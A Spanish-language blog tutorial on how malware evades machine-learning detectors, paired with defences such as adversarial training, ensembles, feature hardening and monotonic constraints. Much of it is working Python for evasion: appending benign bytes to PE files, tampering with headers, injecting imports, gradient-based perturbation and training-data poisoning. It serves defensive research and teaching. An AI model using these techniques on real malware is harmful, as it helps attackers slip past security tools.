AvanzadoAdversarial MLevasiónrobustezseguridad MLdetección de malware

Adversarial ML: Cómo el Malware Evade Modelos de Detección

Técnicas adversariales que el malware usa para evadir modelos de Machine Learning: ataques de evasión, envenenamiento de datos, ataques de extracción de modelo. Defensas prácticas y estrategias de robustez para detección de malware en producción.

MalwareIntel Research··10 min lectura
Serie: AI/ML para Malware — Parte 15

La carrera armamentística ML

Cuando despliegas un modelo de ML para detectar malware, conviertes la detección en un problema de optimización. Y los atacantes también saben optimizar.

Un modelo de ML aprende una frontera de decisión en el espacio de features. Todo lo que queda a un lado es "benigno", todo lo que queda al otro es "malicioso". El atacante necesita mover su malware al lado "benigno" de esa frontera, sin cambiar lo que el malware realmente hace. Es un problema de optimización con restricciones: minimizar la puntuación de maliciosidad manteniendo la funcionalidad.

Este campo se llama Adversarial Machine Learning y es uno de los más activos en seguridad informática. No es teórico: los ataques funcionan en la práctica y los atacantes sofisticados ya los usan.

Taxonomía de ataques adversariales

Ataques de evasión (inference time)

El atacante modifica una muestra de malware para que el modelo la clasifique como benigna. No altera el modelo ni los datos de entrenamiento.

Ataque de caja blanca: el atacante conoce el modelo, sus pesos y su arquitectura. Puede calcular gradientes exactos para optimizar la perturbación.

Ataque de caja negra: el atacante no conoce el modelo. Solo puede enviar consultas y observar la respuesta (score o etiqueta). Usa modelos sustitutos o búsqueda por fuerza bruta.

Ataque de caja gris: el atacante conoce las features o el tipo de modelo pero no los pesos exactos.

Ataques de envenenamiento (training time)

El atacante inyecta muestras manipuladas en el dataset de entrenamiento para degradar el modelo o crear backdoors.

Ataques de extracción de modelo

El atacante roba el modelo a través de consultas repetidas, reconstruyendo una aproximación que luego usa para diseñar ataques de caja blanca.

Ataques prácticos contra detectores de malware

Append Attack

La técnica más simple y sorprendentemente efectiva: añadir bytes de contenido benigno al final del binario, después del overlay.

import numpy as np

def append_attack(
    malware_path: str,
    benign_content: bytes,
    output_path: str,
    append_size: int = 100_000,
):
    """
    Añade contenido benigno al final del binario.
    El loader de PE ignora los bytes después del último section pointer,
    pero los modelos de ML los incluyen en el análisis.
    """
    with open(malware_path, "rb") as f:
        malware_bytes = f.read()
    
    # Tomar fragmento del contenido benigno
    padding = benign_content[:append_size]
    
    # Append al final del binario
    modified = malware_bytes + padding
    
    with open(output_path, "wb") as f:
        f.write(modified)
    
    return output_path

¿Por qué funciona? Modelos como MalConv procesan todos los bytes del fichero, incluyendo los del overlay. Los bytes benignos diluyen las features maliciosas. Estudios muestran que con solo 100KB de bytes de un ejecutable legítimo (como notepad.exe), se puede reducir el score de MalConv por debajo del umbral de detección en más del 60% de las muestras.

¿Se rompe la funcionalidad? No. El loader de Windows ignora los bytes después del último puntero de sección válido. El malware se ejecuta exactamente igual.

Manipulación del header PE

Modificar campos del header que no afectan la ejecución pero sí las features del modelo:

import pefile

def manipulate_header(filepath: str, output_path: str):
    """Modifica campos del PE header que no afectan funcionalidad."""
    pe = pefile.PE(filepath)
    
    # Cambiar timestamp a uno creíble
    pe.FILE_HEADER.TimeDateStamp = 1700000000  # Nov 2023
    
    # Habilitar ASLR (software legítimo lo tiene)
    pe.OPTIONAL_HEADER.DllCharacteristics |= 0x0040
    
    # Habilitar DEP
    pe.OPTIONAL_HEADER.DllCharacteristics |= 0x0100
    
    # Ajustar checksum (los binarios firmados lo tienen correcto)
    pe.OPTIONAL_HEADER.CheckSum = pe.generate_checksum()
    
    pe.write(output_path)
    pe.close()

Inyección de imports

Añadir imports de DLLs legítimas que nunca se ejecutan pero cambian el perfil de imports:

def inject_benign_imports(filepath: str, output_path: str):
    """
    Concepto: añadir imports de DLLs comunes en software legítimo.
    Implementación real requiere LIEF para manipular la Import Table.
    """
    import lief
    
    binary = lief.parse(filepath)
    
    # DLLs comunes en software legítimo que rara vez aparecen en malware
    benign_dlls = {
        "VERSION.dll": ["GetFileVersionInfoW", "VerQueryValueW"],
        "COMCTL32.dll": ["InitCommonControlsEx"],
        "COMDLG32.dll": ["GetOpenFileNameW"],
        "SHLWAPI.dll": ["PathFileExistsW", "StrStrIW"],
    }
    
    for dll_name, functions in benign_dlls.items():
        lib = binary.add_library(dll_name)
        for func_name in functions:
            lib.add_entry(func_name)
    
    binary.write(output_path)

Gradient-based evasion (caja blanca)

Para modelos diferenciables (redes neuronales), se pueden calcular gradientes para encontrar la perturbación mínima:

def gradient_evasion_attack(
    model: torch.nn.Module,
    sample: torch.Tensor,
    target_label: int = 0,  # 0 = benigno
    epsilon: float = 0.1,
    max_iterations: int = 100,
    step_size: float = 0.01,
) -> torch.Tensor:
    """
    Ataque FGSM iterativo en el espacio de features.
    Nota: en la práctica, la perturbación en feature space debe
    mapearse de vuelta a modificaciones válidas del binario.
    """
    model.eval()
    perturbed = sample.clone().detach().requires_grad_(True)
    target = torch.tensor([target_label])
    criterion = torch.nn.CrossEntropyLoss()
    
    for i in range(max_iterations):
        output = model(perturbed.unsqueeze(0))
        
        # Si ya evade, parar
        pred = output.argmax(dim=1).item()
        if pred == target_label:
            print(f"Evasión lograda en iteración {i}")
            break
        
        # Calcular gradiente respecto a la entrada
        loss = criterion(output, target)
        loss.backward()
        
        # Paso en dirección del gradiente
        with torch.no_grad():
            perturbation = step_size * perturbed.grad.sign()
            perturbed = perturbed - perturbation
            
            # Clamp para mantenerse dentro de epsilon del original
            delta = perturbed - sample
            delta = torch.clamp(delta, -epsilon, epsilon)
            perturbed = sample + delta
            perturbed = torch.clamp(perturbed, 0, 1)
        
        perturbed.requires_grad_(True)
    
    return perturbed.detach()

El gap realidad/feature-space. El mayor reto de los ataques adversariales en malware es que las perturbaciones en el espacio de features no siempre corresponden a modificaciones realizables en el binario. No puedes cambiar arbitrariamente la entropía de una sección: tienes que cambiar los bytes reales, y esos cambios deben preservar la funcionalidad.

Envenenamiento de datos

El atacante inyecta muestras manipuladas en el dataset de entrenamiento:

def data_poisoning_attack(
    X_train: np.ndarray,
    y_train: np.ndarray,
    poison_ratio: float = 0.01,
    target_features: np.ndarray = None,
) -> tuple[np.ndarray, np.ndarray]:
    """
    Simula un ataque de envenenamiento:
    inyecta muestras de malware etiquetadas como benignas.
    """
    n_poison = int(len(X_train) * poison_ratio)
    
    # Seleccionar muestras de malware
    malware_idx = np.where(y_train == 1)[0]
    selected = np.random.choice(malware_idx, n_poison, replace=False)
    
    # Copiar y re-etiquetar como benignas
    X_poison = X_train[selected].copy()
    y_poison = np.zeros(n_poison)  # Etiqueta benigna
    
    # Opcionalmente: ajustar features para que sean más "creíbles"
    if target_features is not None:
        # Mover features hacia el centroide de la clase benigna
        benign_centroid = X_train[y_train == 0].mean(axis=0)
        for i in range(n_poison):
            noise = np.random.normal(0, 0.1, X_poison[i].shape)
            X_poison[i] = 0.7 * X_poison[i] + 0.3 * benign_centroid + noise
    
    # Inyectar en el dataset
    X_poisoned = np.vstack([X_train, X_poison])
    y_poisoned = np.concatenate([y_train, y_poison])
    
    return X_poisoned, y_poisoned

Con solo un 1% de envenenamiento, el recall del modelo puede caer varios puntos porcentuales. Los ataques más sofisticados (backdoor attacks) insertan un trigger específico que desactiva la detección solo para muestras que contienen el trigger.

Defensas prácticas

Adversarial Training

Entrenar el modelo con ejemplos adversariales generados durante el entrenamiento:

def adversarial_training_step(
    model: nn.Module,
    X_batch: torch.Tensor,
    y_batch: torch.Tensor,
    optimizer: torch.optim.Optimizer,
    criterion: nn.Module,
    epsilon: float = 0.1,
    alpha: float = 0.5,
) -> float:
    """Paso de entrenamiento adversarial: entrena con datos normales + adversariales."""
    
    model.train()
    
    # 1. Forward normal
    outputs_clean = model(X_batch)
    loss_clean = criterion(outputs_clean, y_batch)
    
    # 2. Generar ejemplos adversariales
    X_batch.requires_grad_(True)
    outputs_adv = model(X_batch)
    loss_adv_gen = criterion(outputs_adv, y_batch)
    loss_adv_gen.backward(retain_graph=True)
    
    # FGSM perturbation
    perturbation = epsilon * X_batch.grad.sign()
    X_adversarial = X_batch + perturbation
    X_adversarial = torch.clamp(X_adversarial, 0, 1)
    
    # 3. Forward con adversariales
    outputs_adversarial = model(X_adversarial.detach())
    loss_adversarial = criterion(outputs_adversarial, y_batch)
    
    # 4. Loss combinada
    total_loss = (1 - alpha) * loss_clean + alpha * loss_adversarial
    
    optimizer.zero_grad()
    total_loss.backward()
    optimizer.step()
    
    return total_loss.item()

Ensemble Diversity

Combinar múltiples modelos con diferentes features y algoritmos:

class DiverseEnsemble:
    """Ensemble de modelos diversos para robustez adversarial."""
    
    def __init__(self, models: list, weights: list[float] | None = None):
        self.models = models
        self.weights = weights or [1.0 / len(models)] * len(models)
    
    def predict_proba(self, features_dict: dict) -> float:
        """
        Cada modelo usa un subconjunto diferente de features.
        Un ataque adversarial que engaña a un modelo probablemente
        no engaña a los demás.
        """
        scores = []
        for model, weight in zip(self.models, self.weights):
            # Cada modelo tiene su propio feature set
            model_features = model.select_features(features_dict)
            score = model.predict_proba(model_features)
            scores.append(score * weight)
        
        return sum(scores)
    
    def predict(self, features_dict: dict, threshold: float = 0.5) -> int:
        proba = self.predict_proba(features_dict)
        return 1 if proba >= threshold else 0

# Ejemplo de ensemble diverso
ensemble = DiverseEnsemble([
    # Modelo 1: features de imports
    LGBMModel(feature_group="imports"),
    # Modelo 2: features de entropía + histograma
    RandomForestModel(feature_group="entropy"),
    # Modelo 3: features de secciones + header
    XGBModel(feature_group="structure"),
    # Modelo 4: CNN sobre bytes
    MalConvModel(),
])

Feature Hardening

Diseñar features que sean difíciles de manipular sin alterar la funcionalidad:

def extract_hardened_features(filepath: str) -> dict:
    """Features diseñadas para resistir manipulación adversarial."""
    
    pe = pefile.PE(filepath)
    
    features = {}
    
    # Features basadas en código ejecutado (no en todo el fichero)
    # Solo analizar secciones con permisos de ejecución
    executable_data = b""
    for section in pe.sections:
        if section.Characteristics & 0x20000000:  # IMAGE_SCN_MEM_EXECUTE
            executable_data += section.get_data()
    
    # Entropía solo de código ejecutable (ignora overlay/append)
    features["exec_entropy"] = calculate_entropy(executable_data)
    
    # Imports realmente referenciadas por código
    # (no imports añadidas a la IAT pero nunca llamadas)
    features["real_import_ratio"] = _calculate_used_import_ratio(pe)
    
    # Ratio código/datos basado en secciones, no en file size
    code_size = sum(
        s.SizeOfRawData for s in pe.sections
        if s.Characteristics & 0x20000000
    )
    data_size = sum(
        s.SizeOfRawData for s in pe.sections
        if not (s.Characteristics & 0x20000000)
    )
    total = code_size + data_size
    features["code_ratio_sections"] = code_size / total if total > 0 else 0
    
    return features

Monotonic constraints

Forzar restricciones monótonas en el modelo para que añadir features benignas no reduzca el score:

import lightgbm as lgb

# Features con restricción monótona
# 1 = más valor -> más probabilidad de malware
# -1 = más valor -> menos probabilidad
# 0 = sin restricción
monotone_constraints = {
    "suspicious_api_count": 1,      # Más APIs sospechosas = más malware
    "high_entropy_sections": 1,     # Más entropía = más malware
    "writable_executable": 1,       # W+X secciones = más malware
    "has_signature": -1,            # Firma digital = menos malware
    "num_imports": 0,               # Sin restricción (complejo)
}

model = lgb.LGBMClassifier(
    monotone_constraints=[
        monotone_constraints.get(f, 0) for f in feature_names
    ],
    monotone_constraints_method="advanced",
)

Evaluación de robustez

def evaluate_robustness(
    model,
    X_test: np.ndarray,
    y_test: np.ndarray,
    attack_functions: dict,
) -> dict:
    """Evalúa el modelo contra múltiples ataques adversariales."""
    
    results = {}
    
    # Baseline sin ataque
    y_pred_clean = model.predict(X_test)
    clean_accuracy = (y_pred_clean == y_test).mean()
    results["clean"] = clean_accuracy
    
    # Evaluar cada ataque
    for attack_name, attack_fn in attack_functions.items():
        X_adv = attack_fn(X_test, y_test)
        y_pred_adv = model.predict(X_adv)
        
        # Tasa de evasión: malware que ahora se clasifica como benigno
        malware_mask = y_test == 1
        evasion_rate = (
            (y_pred_adv[malware_mask] == 0).sum() / malware_mask.sum()
        )
        results[f"{attack_name}_evasion_rate"] = evasion_rate
        results[f"{attack_name}_accuracy"] = (y_pred_adv == y_test).mean()
    
    return results

La realidad de la carrera armamentística

La robustez adversarial perfecta no existe. Cada defensa crea nuevas superficies de ataque. Lo que sí existe es la defensa en profundidad:

  1. Diversidad de modelos. Ningún modelo solo. Ensemble con features diferentes.
  2. Adversarial training. Entrenar con ataques conocidos.
  3. Feature hardening. Features difíciles de manipular.
  4. Monitorización. Detectar cuando el modelo está siendo atacado (concept drift abrupto, distribución anómala de scores).
  5. Human-in-the-loop. Analistas revisando muestras borderline.

La defensa más robusta no es un modelo mejor. Es un sistema que asume que cualquier modelo individual será evadido y diseña capas de compensación.

Conclusión

El adversarial ML no es un riesgo teórico para la detección de malware: es una realidad operacional. Los ataques más simples (append, header manipulation) son accesibles a cualquier actor con conocimientos básicos. Los ataques más sofisticados (gradient-based, envenenamiento) requieren más recursos pero escalan bien.

La comunidad de seguridad necesita tratar los modelos de ML con el mismo escepticismo que aplica a las reglas de firma: son una capa más de defensa, no la solución definitiva. Un buen sistema de detección combina ML con heurísticas, sandboxing, inteligencia de amenazas y análisis humano.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.